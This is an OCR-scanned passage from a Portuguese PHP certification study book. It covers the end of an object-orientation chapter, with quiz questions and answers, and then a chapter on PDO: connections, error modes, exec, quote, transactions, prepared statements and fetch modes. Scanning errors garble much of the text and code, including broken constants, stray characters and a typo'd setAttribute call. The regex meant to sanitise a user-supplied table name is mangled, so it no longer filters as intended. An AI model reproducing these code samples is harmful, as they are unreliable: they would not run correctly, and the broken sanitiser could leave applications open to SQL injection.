c)a, b, ¢, A, B, C, c: CC, a, b, ¢c, A, B, C
d) b, ¢, A, B, C, c: CC, b, c, A, B, CC

4) Qual a relagao entre classes e objetos?
a) A classe é uma colecdo de objetos.

b) A classe é um modelo no qual os objetos serdo criados.

c) Os objetos sdo diferentes uns dos outro, e sdo atribuidos a cla
sses.

5) Qual é a saida do cddigo?

interface myBaseClassl {
public function doSomething();
public function specialFunctionl();

interface myBaseClass2 {
public function doSomething($special);
public function specialFunction2();

class myClassA implements myBaseClassl, myBaseClass2 {
function doSomething() {
echo '..."';
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function mySpecialFunctioni() {

echo '..."';
}
function mySpecialFunction2() {
echo '..."';
}
}

$a = new myClassA();
$a->doSomething();

a)
b) Erro de Parser
c) Erro Fatal

d) Nenhuma das anteriores

6) Qual é a principal diferenca entre um método estatico e um
método normal?

a) Métodos estaticos podem ser invocados usando apenas a sintaxe °

b) Métodos estaticos nao providenciam referéncia para “$this’.
c) Métodos estaticos ndo podem ser declarados dentro de classes.
d) Métodos estaticos ndo possuem acesso a “self’.

7) Assumindo que todo método a seguir retorna uma
instancia de um objeto, como podemos reescrever o cédigo a
seguir?

a) $c = ((MyClass)$a->getInstance())->doSomething();
b) $c = (MyClass)$a->getInstance();
c) $c = $a->getInstance()->doSomething();

d) This cannot be re-written in PHP5.

8) Qual a saida do codigo seguinte?
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interface foo {}
class_alias('foo', 'bar');

echo interface_exists('bar') ? 'yes' : 'no';

a) Error
b) no
c) yes
d) NULL

9) Qual das seguintes classe SPL estende o Iterator padrio e
permite retornar um item especifico de uma lista interna da
classe?

a) ArrayAccess

b) FilterIterator

c) Recursivelterator
d) Seekablelterator

10) Qual dos métodos a seguir é invocado quando um método
da classe esta inacessivel ou nio existe?

a) __autoload

b) _ test
c) __call
d) _ load

8.14 O FAMOSO OBJETO CACHORRO, GATO,
SER HUMANO ETC.

Esse é o ponto onde geralmente, para quem estd comec¢ando
com Orientagdo a Objetos, realmente se sente um verdadeiro
programador! Mas, além de ser um assunto que chama muito a
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atengdo, também ¢é para nés um verdadeiro avango, pois o PHP ndo
nasceu com toda essa bagagem que possuimos hoje em dia, com a
00.

O que a Zend espera de vocé neste capitulo é que vocé aprenda o
melhor que o PHP possui em seu mundo orientado a objetos, e que
ndo mais codifique em arquivos .php soltos, sem que possa
reutilizar logicas criadas, estender e proteger funcionalidades etc.
Na prova, o que vocé pode encontrar sdo algumas pegadinhas como:
falta de fechamento de parénteses, falta de passagem de parametro,
pegadinhas de escopo, e assim por diante.

Antes de finalizarmos, outra questdo a se destacar ¢ o uso das
classes padroes fornecidas pelo PHP, a famosa SPL. Vocé deve ter
reparado que, por meio dos capitulos, utilizamos algumas em
nossos exemplos, e isso continuard nos capitulos restantes.
Entretanto, ndo vamos dedicar um capitulo somente para isso, pois
SPL por si s6 ja seria um livro.

Porém, aconselhamos que veja a péagina sobre SPL na
documentagio oficial do PHP, em
http://php.net/manual/pt_BR/book.spl.php. La existem perguntas
relacionadas a esse topico. Nao conseguimos especificar qual classe
podera cair no dia da sua prova, mas de uma olhada no méximo de
classes que puder. Se vocé quer uma dica, se atente a essas classes:

e ArrayAccess

e ArrayObject

e Arraylterator

e IteratorIterator

e RecursivelteratorIterator
e InvalidArgumentException
e SplFileObject

e SplObserver

e SplSubject

274 8.14 O FAMOSO OBJETO CACHORRO, GATO, SER HUMANO ETC.



8.15 RESPOSTAS

Verifique agora se vocé foi bem nas questdes. Caso ndo, nao
fique chateado. Tente ler novamente o capitulo agora ou depois, e
boa sorte!

QUESTOES

Questao 1 - Resposta correta: ¢
Questao 2 - Resposta correta: ¢
Questao 3 - Resposta correta: b
Questao 4 - Resposta correta: b
Questao 5 - Resposta correta: ¢
Questao 6 — Resposta correta: b
Questao 7 - Resposta correta: ¢
Questao 8 - Resposta correta: yes
Questao 9 - Resposta correta: d

Questao 10 - Resposta correta: ¢
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CapiTULO 9

PHP E BANCO DE DADOS
COM PDO

A certificagdo PHP, além de testar as suas habilidades na
linguagem, é também uma certificagido que se preocupa com o todo.
Ou seja, sera necessario dominar algumas outras habilidades como
o entendimento de banco de dados relacionais utilizando SQL
(Structured Query Language), que ¢ essencial para aplicagdes reais.

E claro que mais cedo ou mais tarde sera necessério realizar a
conexao com algum tipo de banco de dados. Para isso, o PHP nos
fornece o PDO (PHP Data Object), que nos permite conectar em
diversos bancos de diferentes fabricantes.

Neste capitulo, assumiremos que vocé ja possui o conhecimento
basico em SQL. O foco aqui serd em como utilizar SQL em conjunto
com o PDO . Caso vocé nao esteja confortdvel com o SQL,
recomendamos que pare e busque maiores informagoes e, apos isso,
retorne.
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Como sabemos que ¢é dificil encontrar material sobre SQL puro
independente de banco de dados, aconselhamos vocé a ler
sobre diferentes implementagdes de banco de dados.
Resumindo: nao se prenda apenas ao MySQL ou ao Postgres,
tente ler sobre as implementagdes, seja da Oracle, SQLite ou
Firebase. Assim, vocé conseguira entender as diferengas entre
esses banco de dados.

9.1 PDO (PHP DATA OBJECT)

A partir do PHP 5.5, a familia de funcdes mysql_\* foi dada
como depreciada (e removida na versio 7.0), dando como
alternativa a utilizacdo das funcdes mysqli_ para aplicagdes que
utilizam o banco de dados MySQL. Entretanto, a familia de fung¢oes

pg_\* ndo sofreu nenhuma alteragao, uma boa noticia para quem
usa o banco de dados Postgres.

E claro que, se vocé deseja utilizar o banco de dados Oracle, nao
ha nenhum problema, basta usar a familia de fungdes oci_ , que é
fornecida pela extensdao Oracle OCI8. Até o momento, ndo tivemos
nenhum relato de perguntas relacionadas a extensao OCI8, mas
recomendamos que dé uma olhada em suas funcionalidades para
realizar uma prova mais confiante.

Imagine o seguinte cendrio: vocé deseja trocar de banco de
dados sem ter de se preocupar com a sua aplicagdo. Se vocé estiver
utilizando qualquer familia de fungoes, seja mysqli_\* , oci_\*
ou pg_\* , vocé sera obrigado a alterar todo o seu codigo-fonte
para comportar o novo banco de dados.

Pensando nesse tipo de problema, o PHP surgiu com uma
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solug¢do chamada PDO (PHP Data Object), que fornece a facilidade
e abstragcdo para que, independentemente do banco de dados, a
troca de fabricante seja transparente, tanto de Oracle para MySQL
quanto de Postgres para MySQL.

E claro que essa troca transparente estd totalmente relacionada
ao modo de como sua aplicagdo foi desenvolvida. Se ela foi
totalmente desenvolvida com instrugdes para MySQL (como
UPDATE , SELECT , GROUP BY ), vocé tera de mudar toda sua
aplicagdo. Além do uso do PDO , é necessario pensar também
em como realizar as instru¢oes SQL de maneira genérica para
todos os banco de dados.

9.2 CONECTANDO E UTILIZANDO O PDO

Como o PDO ¢é uma classe, devemos instancia-la para ter acesso
aos seus métodos.
$pdo = new PDO('mysql:dbname=banco_de_dados;host=127.0.0.1', 'usua
rio', 'senha');

A primeira coisa que devemos reparar é na string de conexao. O
primeiro parametro passado para o construtor da classe. Nele ¢
onde definimos qual banco de dados vamos utilizar (MySQL,
Oracle, Postgres etc.), o nome do banco de dados e o seu local (o IP
de onde ele estd, conhecido também como host).

A seguir, segue uma tabela com os drivers e banco de dados
suportados para utilizar com o PDO:

Driver Banco de dados
PDO_CUBRID Cubrid

PDO_DBLIB
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FreeTDS / Microsoft SQL Server / Sybase

PDO_FIREBIRD Firebird

PDO_IBM IBM DB2

PDO_INFORMIX IBM Informix Dynamic Server

PDO_MYSQL MySQL 3.x/4.x/5x

PDO_OCI Oracle Call Interface

PDO_ODBC ODBC v3 (IBM DB2, unixODBC and win32 ODBC)
PDO_PGSQL PostgreSQL

PDO_SQLITE SQLite 3 and SQLite 2

PDO_SQLSRV Microsoft SQL Server / SQL Azure

PDO_4D 4D

E possivel também descobrir quais drivers a sua instalagio do
PHP suporta por meio do método estatico getAvailableDrivers .

$drivers = \PDO::getAvailableDrivers();
print_r($drivers);

Ao executar esse codigo, na minha instalagio do PHP, temos
suporte aos seguintes bancos de dados: MySQL, Postgres e SQlite.
Mas ndo se preocupe se o seu estiver diferente, pois isso depende de
como o PHP foi instalado na sua maquina.

Array

(
[0] => mysql
[1] => pgsql

[2] => sqlite

Além dessas opgdes que sdo obrigatdrias, ao criar o objeto PDO ,
como ultimo pardmetro podemos definir algumas opgdes, por
exemplo, como o PDO vai se comportar ao ocorrer um erro:

$dsn = 'mysqgl:dbname=banco_de_dados;host=127.0.0.1";
$usuario = 'root';
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$senha = '123456';

$pdo = new \PDO($dsn, $usuario, $senha, [
\PDO: :ATTR_ERRMODE => \PDO: :ERRMODE_EXCEPTION

1);

7

O valor padrio para o atributo ATTR_ERRMODE é

ERRMODE_SILENT , e esse modo ndo exibe nenhum tipo de erro para

o usudrio. Em vez disso, as informacdes do erro sdo setadas
internamente para serem resgatadas posteriormente.

Atributo Valor Descri¢ao

Ao ocorrer um erro,
PDO:ATTR_ERRMODE PDO:ERRMODE_EXCEPTION uma exceg¢ao é
langada.

Nenhum erro é
exibido para o
usudrio e sdo setados

PDO:ATTR_ERRMODE PDO:ERRMODE_SILENT atributos internos da
classe com a
informagao do erro
que ocorreu.

Ao ocorrer um erro,
PDO:ATTR_ERRMODE PDO:ERRMODE_WARNING um WARNING ¢
exibido.

Como o terceiro pardmetro é opcional, a classe PDO nos
fornece um método setAttribute para definirmos essas opgoes
depois da criagdo do objeto. Isso torna a classe muito dindmica, pois
podemos ler essas opgdes de um arquivo, e depois defini-las.
$dsn = 'mysql:dbname=banco_de_dados;host=127.0.0.1";

$usuario = 'root';
$senha = '123456';

$pdo = new PDO($dsn, $usuario, $senha);
$pdo->setAtributte(\PDO: :ATTR_ERRMODE, \PDO::ERRMODE_EXCEPTION);

Um detalhe importante sobre a utiliza¢ao de erros como PDO ¢
que uma exce¢do sempre serda lancada caso ndo seja possivel se
conectar ao banco de dados, independentemente do modo de erro
definido no atributo ATTR_ERRMODE .

280 9.2 CONECTANDO E UTILIZANDO O PDO



Para uma lista completa das possiveis constantes usadas nas
op¢des do PDO, veja a documentacio oficial em
http://php.net/manual/pt_BR/pdo.constants.php.

E possivel também retornar o valor que determinado atributo
possui através do método getAttribute :

print $pdo->getAttribute(\PDO::ATTR_ERRMODE);

Como no exemplo anterior definimos o nosso modo de erro
para ERRMODE_EXCEPTION , o resultado que obtemos ao executar o
script ¢ 2 (o valor da constante ERRMODE_EXCEPTION ). Vamos
modificar agora para que, em vez de utilizarmos o modo de excegdo,
usemos o modo silencioso:
$dsn = 'mysqgl:dbname=banco_de_dados;host=127.0.0.1";

$usuario = 'root';
$senha = '123456"';

$pdo = new \PDO($dsn, $usuario, $senha, [
\PDO: :ATTR_ERRMODE => \PDO: :ERRMODE_SILENT
1)

Agora que alteramos 0 nosso modo de erro, vamos novamente
resgatar seu valor:

print $pdo->getAttribute(\PDO: :ATTR_ERRMODE);

Agora, como esperado, temos o resultado 0 , pois esse é o valor
da constante PDO::ERRMODE_SILENT .

9.3 MANIPULANDO ERROS

Com alguns métodos, ¢ possivel descobrir se houve um erro na
execucdo de alguma instrugdo e aplicar um tratamento especifico de
acordo com o erro retornado do banco de dados.
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$pdo = new \PDO($dsn, $usuario, $senha, [
\PDO: :ATTR_ERRMODE => \PDO: :ERRMODE_SILENT

1);
$pdo->query('SELECT * FROM tabela_que_nao_existe');

if ($pdo->errorCode()) {
$detalhes = $pdo->errorInfo();

print sprintf(
'Codigo : %s, Codigo do driver : %s, Mesagem: %s',
$detalhes[0],
$detalhes[1],
$detalhes[2],
)i

Veja que, nesse exemplo, usamos o método errorCode para
descobrir se houve um erro e, logo em seguida, utilizamos o método

errorInfo para pegar mais informagdes sobre o erro.

Indice Descrigdo
0 Retorna o cddigo de erro do banco de dados.
1 Numero do erro especifico do driver.
2 Mensagem especifica do driver.
9.4 EXECUTANDO SQL

Ja possuimos uma conexdo com o banco de dados de nossa
escolha para utilizar o PDO, agora iremos ver como podemos
manipular os dados. Para isso iremos ver o método exec da classe
PDO . E para os exemplos abaixo iremos utilizar a seguinte estrutura
de tabela

CREATE TABLE ‘usuarios” (
“id® INT NOT NULL AUTO_INCREMENT,
"nome” VARCHAR(45) NOT NULL,
“email” VARCHAR(45) NOT NULL,
PRIMARY KEY ('id‘));
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Agora que temos a nossa tabela, vamos entao manipular alguns
dados nela, comegando com a instru¢ao SELECT :
$dsn = 'mysql:dbname=banco_de_dados;host=127.0.0.1";

$usuario = 'root';
$senha = '123456';

$pdo = new \PDO($dsn, $usuario, $senha);
print $pdo->exec('SELECT * FROM usuarios');

Se vocé ja teve contato com o método exec , sabe que, ao
executar o script anterior, o resultado que vamos obter é apenas um
0 (zero), pois o método exec ndo é usado para selecionar dados
(ou qualquer outra instru¢ao SQL que retorne dados), mas apenas
para alteracdo. Em resumo, o método exec retornara a quantidade
de linhas alteradas pela instrugdo SQL executada.

$pdo = new \PDO($dsn, $usuario, $senha);

$linhasAfetadas = $pdo->exec(
"INSERT INTO usuarios (nome, email)
VALUES ('pdo', 'pdo@php.net');"

)i

print $linhasAfetadas . ' linha inserida';

Ao executarmos esse script, sera inserido em uma nova linha na
tabela usuarios e serd retornado o niimero 1 , pois apenas 1
registro foi inserido, ou seja, apenas 1 linha foi afetada na nossa
tabela.

1 linha inserida

Agora que inserimos um registro na nossa tabela de exemplo
usuarios , vamos atualizar o registro inserido e mudar o seu nome
de pdo para PHP .

$pdo = new \PDO($dsn, $usuario, $senha);

$linhasAfetadas = $pdo->exec(
"UPDATE usuarios SET nome = 'PHP'
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WHERE email = 'pdo@php.net';"
)i

print $linhasAfetadas . ' linha atualizada';
Ao executarmos o script, temos o seguinte resultado:
1 linha atualizada

Se executarmos novamente o mesmo script, temos um resultado
diferente, pois nenhuma linha serd afetada. Devemos sempre
lembrar de que o método exec vai retornar o numero de linhas
afetadas pela instrucdo SQL.

0 linha atualizada

A dltima instrugdo que veremos para usarmos com o método
exec ¢ a instru¢do SQL DELETE . Ela serve para deletar o usuario

que criamos e atualizarmos os passos anteriores.
$pdo = new \PDO($dsn, $usuario, $senha);

$linhasAfetadas = $pdo->exec(
"DELETE FROM usuarios
WHERE email = 'pdo@php.net';"
)i

print $linhasAfetadas . ' linha deletada';
Ao executarmos o script, temos o seguinte resultado:

1 linha deletada

9.5 ESCAPANDO DADOS

Um item muito importante ao executarmos instrugdes SQL
manualmente é escapar todos os argumentos que possam vir de
uma fonte nao segura, como por exemplo, um formuldrio que o
usudrio preenche. Ao escaparmos os argumentos, aumentamos o
nivel de seguranca da nossa aplicagdo drasticamente, prevenindo
SQL injection.
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$email = $_POST['email'];

print 'DELETE FROM usuarios
WHERE email = ' . $pdo->quote($email) . ';';

Utilizando o método quote , garantimos que qualquer
parametros enviado sera tratado como um string normal, pois aspas
sao adicionadas ao redor do parametro.

DELETE FROM usuarios WHERE email = 'php@php.com.br';

E importante tomar cuidado com o método exec , pois
mesmo que o retorno nio seja o esperado, a instrucdo SQL ¢
executada no banco de dados como qualquer outra.

9.6 TRANSACOES

Até agora nos exemplos apresentados, todas as instrugdes
executadas sdo refletidas no banco de dados imediatamente. Mas
imagine um cendrio em que precisamos garantir a consisténcia dos
dados e que ndo possa ocorrer nenhum erro durante sua execugéo,
como por exemplo, a inser¢do de varias linhas no banco de dados
em uma tabela que possui uma chave estrangeira.

Se algum dos dados que estamos inserindo ndo possuir a chave
estrangeira, o banco de dados parara a execugdo e retornard um
erro. E imagine que isso ocorreu depois que foram inseridos 5
registros no banco de dados. Com isso, temos um problema, pois
vamos ter um trabalho extra para procurar até onde foi inserido,
quais dados ja estao no banco de dados, arrumar nosso script e
executa-lo novamente.

Pensando nesse cendrio é que utilizamos transagdes. Com elas,
garantimos que todos os registros vao ser inseridos com sucesso em
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uma sessdo, e apenas quando todos forem executados, aplicamos
efetivamente ao banco de dados. Caso algo der errado, todas as
alteracoes realizadas sdo desfeitas, retornando o estado do banco de
dados ao anterior a modificagao.

Com PDO , tudo fica mais simples. Para iniciarmos nossa

transagdo, usamos o método beginTransaction :
$pdo = new \PDO($dsn, $usuario, $senha);
$pdo->beginTransaction();

Utilizando beginTransaction , somos obrigados a usar outros
dois métodos para persistir ou desfazer as alteracdes no banco de
dados. Para persistir os dados, usamos o método commit . Ele deve
ser invocado somente quando todas as alteragdes realizadas no
banco de dados retornaram com sucesso.

Caso algo dé errado durante a execugdo das instrugdes, devemos
utilizar o método rollback , que vai voltar o estado do banco de
dados antes de todas as alteracoes realizadas.

A seguir, temos um exemplo de como utilizar o método
commit apoés todas as instrugdes SQL serem executadas com

SUCesso:

$pdo = new \PDO($dsn, $usuario, $senha);
$pdo->beginTransaction();

// Instrucdes SQL

$pdo->commit();

Ou para desfazer as alteragdes ( rollback ), caso alguma
instrucdo executada ndo retorne com sucesso. Dessa vez,
adicionamos um bloco de try / catch para garantir que s6 vamos
executar o método rollback sealguma excegdo for langada:

$pdo = new \PDO($dsn, $usuario, $senha);
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$pdo->beginTransaction();

try {
// Instrucdes SQL

} catch (\Exception $erro) {
$pdo->rollback();

}

9.7 RETORNANDO DADOS

Vocé deve estar se perguntando como buscamos os dados

existentes no banco de dados utilizando o PDO. Para isso, usaremos

o método query , que nos introduz a uma nova classe utilizada

pelo PDO, chamada PDOStatement .

$pdo = new \PDO($dsn, $usuario, $senha);

$dados = $pdo->query('SELECT * FROM usuarios');
print_r($dados);

Pelo objeto PDOStatement , retornado pelo método query
que temos acesso aos registros no banco de dados.

PDOStatement Object

(
[queryString] => SELECT * FROM usuarios

)

, €

Para ficar mais claro, veja o exemplo anterior, que exibe quais

propriedades temos dentro do objeto retornado pelo método

query . Veja também o diagrama adiante, que exemplifica quais as

dependéncias da classe PDO :
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Figura 9.1: Dependéncias da classe PDO

Vamos utilizar como exemplo os seguintes dados da tabela

usuarios :

Marabesi | marabesi@marabesi.com |
Michael | michael@michael.com.br |

Com o0 nosso objeto PDOStatement , podemos entdo retornar
os dados:

$sql = $pdo->query('SELECT * FROM usuarios');
$dados = $sql->fetchAll();
print_r($dados);

Ao utilizarmos o0 método fetchAll sem nenhum argumento,
temos o seguinte resultado:
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Array

(
[0] => Array

(
[id] => 1
[06] => 1
[nome] => Marabesi
[1] => Marabesi
[email] => marabesi@marabesi.com
[2] => marabesi@marabesi.com

)
[1] => Array

(
[id] => 2
[0] => 2
[nome] => Michael
[1] => Michael
[email] => michael@michael.com.br
[2] => michael@michael.com.br

Temos um array enumerativo e, para cada linha do nosso banco
de dados, ¢ retornado um array enumerativo e um associativo (o
que torna a leitura dos dados complicada, pois eles estdo sendo
duplicados). Isso ocorre pois 0 modo padrio que é usado para
retornar os dados é o PDO: : FETCH_BOTH . Mas podemos alterar esse
comportamento de acordo com a constante utilizada. Para retornar
apenas um array associativo, é possivel usar a constante
PDO: :FETCH_ASSOC .

$sql = $pdo->query('SELECT * FROM usuarios');
$dados = $sql->fetchAll(PDO:FETCH_ASSOC);
print_r($dados);

Ao wusarmos  PDO::FETCH_ASSOC , eliminamos o array
enumerativo que se misturava junto com o associativo, tornando
assim mais claro o que é retornado do banco de dados.

Array

(
[0] => Array
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[id] => 1
[nome] => Marabesi
[email] => marabesi@marabesi.com
)
[1] => Array
(
[id] => 2
[nome] => Michael
[email] => michael@michael.com.br

Na documenta¢io oficial do PHP, vocé pode encontrar
algumas contribui¢des interessantes de usuarios sobre a
utilizacao do método fetchAll , em
http://php.net/manual/pt_BR/pdostatement.fetch.php.

9.8 ESCAPANDO ARGUMENTOS
AUTOMATICAMENTE

Um grande diferencial ao se utilizar o PDO ¢ a possibilidade de
se escapar automaticamente os parametros enviados pelo usuario

através do método prepare .
$nome = $_GET['nome'];

$query = $pdo->prepare('SELECT * FROM usuarios WHERE nome = :nome'
)i

$query->execute([':nome' => $nome]);
$dados = $query->fetch(PDO: :FETCH_ASSOC);

print_r($dados);

Veja que, ao utilizarmos o método prepare , ndo precisamos
escapar argumento por argumento na nossa instru¢ao SQL, basta
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combinarmos os métodos prepare e execute para isso. Repare
que na nossa instrugao SQL, logo apés a clausula WHERE , estamos
usando um token para representar o que sera substituido pelo valor
real apds ser devidamente escapado. E o mesmo token é utilizado
como a chave do array que passamos ao método execute , que é o
responsavel por juntar a nossa instrugdo SQL e os valores passados.

Nao podemos escapar alguns campos, como o nome da tabela e
os nomes dos campos da tabela, pois 0 PDO ndo nos fornece essa
funcionalidade por padrdo. Isso torna o uso da sintaxe a seguir
invalida:

$query = $pdo->prepare('SELECT * FROM :tabela');
$query->execute([':tabela' => 'usuarios']);
E ao executarmos esse script, um erro é exibido:

PHP Fatal error: Uncaught exception 'PDOException' with message '
SQLSTATE[HY093]: Invalid parameter number: parameter was not defin
ed' in /zce/pdo.php:10
Stack trace:
#0 /zce/pdo.php(10): PDOStatement->execute(Array)
#1 {main}

thrown in /zce/pdo.php on line 1

Como alternativa, vocé pode criar sua propria fun¢do para
escapar colunas e nome de tabelas, se vocé desejar. No nosso

exemplo, vamos utilizar uma fun¢do para escapar manualmente
esses campos para nos.

Vamos ao cddigo da nossa fung¢ao que escapa esses campos para
nos:

function escapar($argumento)

{

return preg_replace('/[MA-Za-z0-9_1+/', '', $argumento);

Essa nossa fungdo garante que teremos apenas letras e numeros
usando a fungdo preg_replace para aplicar a expressdo regular
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/[7A-Za-z0-9_]+/ . Com isso, podemos agora utilizar essa fungao
na nossa instrugao SQL.

Repare que, além de usarmos a nossa nova func¢io, mudamos
também de onde buscamos o nome da nossa tabela. O nome sera
informado pelo usudrio através da variavel global $_GET . Veja o
codigo modificado:

$nomeDaTabela = $_GET['tabela'];

$tabela = escapar($nomeDaTabela);

$query = $pdo->prepare("SELECT * FROM $tabela");
$query->execute();

Nenhum erro é exibido e a instru¢gio SQL é executada
normalmente em nosso banco de dados, retornando todos os
registros da tabela informada pelo usudrio através da global $_GET .

Esse foi apenas um exemplo de como poderiamos escapar
manualmente o nome de tabelas, mas existem outras maneiras que
vocé pode utilizar, como as fungdes str_replace ou o método
quote da classe PDO .

9.9 OUTRAS MANEIRAS DE MANIPULACAO
DE DADOS

Temos também outros tipos de constantes para se utilizar, como
é mostrado a seguir:

e PDO::FETCH_BOUND - Esse modo ¢ utilizado em
conjunto com o método  bindColumn , onde o
resultado é atribuido a coluna escolhida.

e PDO::FETCH_0BJ - Retorna um array de objetos.

e PDO::FETCH_CLASS - Mapeia o retorno do banco de
dados para a classe desejada.
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PDO::FETCH_INTO - Mesmo comportamento que o
modo PDO: :FETCH_CLASS , porém é possivel utilizar o
contexto $this .

e PDO::FETCH_LAZY - Retorna os dados do banco de
dados conforme sdo acessados.

e PDO::FETCH_NAMED - Tem o mesmo comportamento
que o modo PDO::FETCH_ASSOC , porém quando
existir mais de uma coluna com o mesmo nome, um
array serd criado com o nome da coluna com os valores
repetidos dentro desse array.

e PDO::FETCH_NUM - Retorna um array enumerativo

comec¢ando do indice 0 (zero).

FETCH_BOUND

Esse modo ¢ talvez um dos mais dinamicos de se utilizar com o
PDO , pois ele permite vincular o valor de uma coluna a uma
variavel PHP. No nosso exemplo a seguir, estamos selecionando as
colunas id , nome e e-mail da tabela wusuarios . Apos isso,
estamos vinculando cada uma dessas colunas as respectivas
variaveis: $id , $nome e $email .

Esse vinculo é o que nos permite manipular de fato o contetido
que estamos buscando no nosso banco de dados. Veja no cédigo a
seguir que exibimos o conteido dessas varidveis dentro do lago

while :

$preparar = $pdo->prepare('SELECT id, nome, email FROM usuarios');
$preparar->execute();

$preparar->bindColumn(1, $id);

$preparar->bindColumn(2, $nome);

$preparar->bindColumn(3, $email);

while($preparar->fetch(\PDO: :FETCH_BOUND)) {

print sprintf('%d %s %s', $id, $nome, $email);
}
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Repare na ordem em que as colunas foram usadas no método
bindColumn , pois é a mesma ordem que estd na instrugdo SQL.
Vamos representar isso em uma lista para ficar mais facil de

entender:
1. id
2. nome
3. email

Para utilizar o método bindColumn , é obrigatdrio que o valor
a ser atribuido esteja em uma variavel, pois esse parametro é
passado por referéncia, o que ndo torna possivel o seu uso com

valores fixo.

// sintaxe valida, porém um “FATAL ERROR™ é exibido

$preparar->bindColumn(':email', 'email');

Com o FETCH_BOUND , podemos também usa-lo para atribuir
ndo apenas colunas, mas também valor através do método

bindvalue ou bindParam .
$email = $_GET['email'];

$preparar = $pdo->prepare('SELECT id, nome, email FROM usuarios WH
ERE email = :email');

// Obtemos o mesmo resultado se utilizarmos bindParam
$preparar->bindvalue(':email', $email);

$preparar->execute();

print_r($preparar->fetch(\PDO: :FETCH_ASSOC));
E o resultado que obtemos é o registro do usudrio Marabesi .

Array
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[id] => 1
[nome] => Marabesi
[email] => marabesi@marabesi.com

O método bindvalue ¢é mais uma maneira de escapar os
argumentos automaticamente através do método prepare .

Como vimos, os métodos bindvalue e bindParam possuem
basicamente a mesma fun¢do, porém existem algumas
diferencas entre eles, como o nimero de argumentos aceito por
cada um e modo em que o valor é passado por cada um.

FETCH_OBJ

Até agora, s6 retornamos os dados do banco como arrays
associativos/enumerativos. Mas o  PDO nos fornece uma maneira
bem simples de retornarmos objetos em vez de arrays, através da
constante \PDO::FETCH_OBJ .

Vamos entdo selecionar novamente as colunas id , nome e
email , e exibir os resultados pela fungdo print_r para ver o que
muda.

$preparar = $pdo->prepare('SELECT id, nome, email FROM usuarios');
$preparar->execute();

print_r($preparar->fetchAl1(\PDO::FETCH_OBJ));

O resultado que obtemos ¢ um array enumerativo contendo
objetos do tipo stdclass (classe genérica utilizada no PHP,
podemos utilizar uma analogia a classe Object no Java). Para cada
coluna no banco de dados, uma propriedade é criada no objeto com
0 mesmo nome.
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Array

(
[@] => stdClass Object

(
[id] => 1
[nome] => Marabesi
[email] => marabesi@marabesi.com

)
[1] => stdClass Object

(
[id] => 2
[nome] => Michael
[email] => michael@michael.com.br

Acessamos as propriedades do objeto como em um objeto
qualquer. Vamos utilizar o laco foreach para percorrer cada item
do nosso array e exibir os dados.
foreach ($preparar->fetchAll(\PDO::FETCH_OBJ) as $usuario) {

print $usuario->id;

print $usuario->nome;
print $usuario->email;

FETCH_CLASS

O modo \PDO::FETCH_CLASS trabalha da mesma maneira que
0 \PDO::FETCH_OBJ , porém, ao usarmos \PDO::FETCH_CLASS , é
possivel especificar qual o tipo de objeto queremos que o PDO nos
retorne os dados. Para o nosso exemplo, vamos construir uma classe
com o nome Usuario para representar os registros da tabela
usuarios
class Usuario {

public $id;

public $nome;
public $email;

Agora que temos nossa classe, podemos passar o seu nome
como segundo parametro ao método fetchAll .
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$preparar = $pdo->prepare('SELECT id, nome, email FROM usuarios');

$preparar->execute();

print_r($preparar->fetchAl1(\PDO: :FETCH_CLASS,

'Usuario'));

Como esperado, em vez do resultado ser um array com varios

objetos do tipo stdClass (como ocorre no \POD::FETCH_OBJ ),

temos agora varios objetos do tipo Usuario .

nos.

mesmo resultado a seguir:

Array
(
[@] => Usuario Object
(
[id] => 1
[nome] => Marabesi
[email] => marabesi@marabesi.com
)
[1] => Usuario Object
(
[id] => 2
[nome] => Michael
[email] => michael@michael.com.br

Um comportamento interessante quando usamos
\PDO: :FETCH_CLASS ¢ que ndo necessariamente precisamos
definir as propriedades da classe com o mesmo nome dos

campos na tabela, pois o PHP faz isso automaticamente para

Definindo ou nio os atributos na classe Usuario , obtemos o

FETCH_INTO

O modo \PDO::FETCH_INTO atua basicamente como o

\PDO: : FETCH_CLASS , no qual conseguimos especificar uma classe
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para que o PDO nos devolva os registros do banco de dados do tipo
que desejamos. Veja no exemplo a seguir onde informamos para o
PDO nos devolver os registros do banco de dados tipo Usuario .

$preparar = $pdo->prepare('SELECT id, nome,email FROM usuarios');
$preparar->setFetchMode(\PDO: :FETCH_INTO, new Usuario());
$preparar->execute();

print_r($preparar->fetchAll());

Temos que nos atentar apenas em algumas diferencas. Repare
no novo modo em que definimos como o PDO nos devolvera os
dados. Dessa vez, utilizamos o método setFetchMode , onde
informamos o tipo que desejamos no primeiro parametro e, como
segundo pardmetro, os objetos que desejamos que ele nos retorne.
Repare que os objetos dentro do array sdo do tipo Usuario . Dessa
forma, temos o seguinte resultado:

Array
(
=> Usuario jec
[o] u Object
(
[id:Usuario:private] => 1
[nome:Usuario:private] => Marabesi
[email:Usuario:private] => marabesi@marabesi.com
)
[1] => Usuario Object
(
[id:Usuario:private] => 2
[nome:Usuario:private] => Michael
[email:Usuario:private] => michael@michael.com.br

Com o modo \PDO::FETCH_INTO , devemos obrigatoriamente
usar o método setFetchMode ; caso contrario, uma exce¢ao serd
langada:

PHP Fatal error: Uncaught exception 'PDOException' with message '

SQLSTATE[HYGEO]: General error: No fetch-into object
specified.' in /zce/pdo/fetch_into.php:16
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Stack trace:

#0 /zce/pdo/fetch_into.php(16): PDOStatement->fetchAll(9)

#1 {main}

thrown in /zce/pdo/fetch_into.php on line 16

A diferenca entre usar a \PDO: : FETCH_CLASS ou

\PDO::FETCH_INTO estd no uso do $this . Enquanto
\PDO: :FETCH_INTO nos permite informar que queremos que o
PDO nos retorne o tipo da instancia atual do objeto (através do
$this ), o FETCH_CLASS s6 nos permite informar strings como

segundo parametro.

// Utilizacdo do FETCH_CLASS
$prepare->setFetchMode (\PDO: : FETCH_CLASS, 'Usuario');

// Utilizacdo do FETCH_INTO
$prepare->setFetchMode (\PDO: : FETCH_INTO, $this);

Se tentarmos utilizar qualquer tipo de argumento que ndo seja
string com o modo FETCH_CLASS , uma exce¢do sera lancada.

$prepare->setFetchMode (\PDO: : FETCH_CLASS, new Usuario());

$prepare->setFetchMode (\PDO: : FETCH_CLASS, $this);

Ambos exemplos anteriores vao exibir o erro seguinte. O modo
\PDO: :FETCH_CLASS s6 aceita o tipo string como segundo
parametro.
PHP Fatal error: Uncaught exception 'PDOException' with message '
SQLSTATE[HY0GO]: General error: classname must be a string' in /zc
e/pdo/fetch_into.php:14
Stack trace:
#0 /zce/pdo/fetch_into.php(14): PDOStatement->setFetchMode(8, Obje
ct(Usuario))
#1 {main}
thrown in /zce/pdo/fetch_into.php on line 14
Porém, ao usarmos o modo \PDO::FETCH_INTO , temos uma
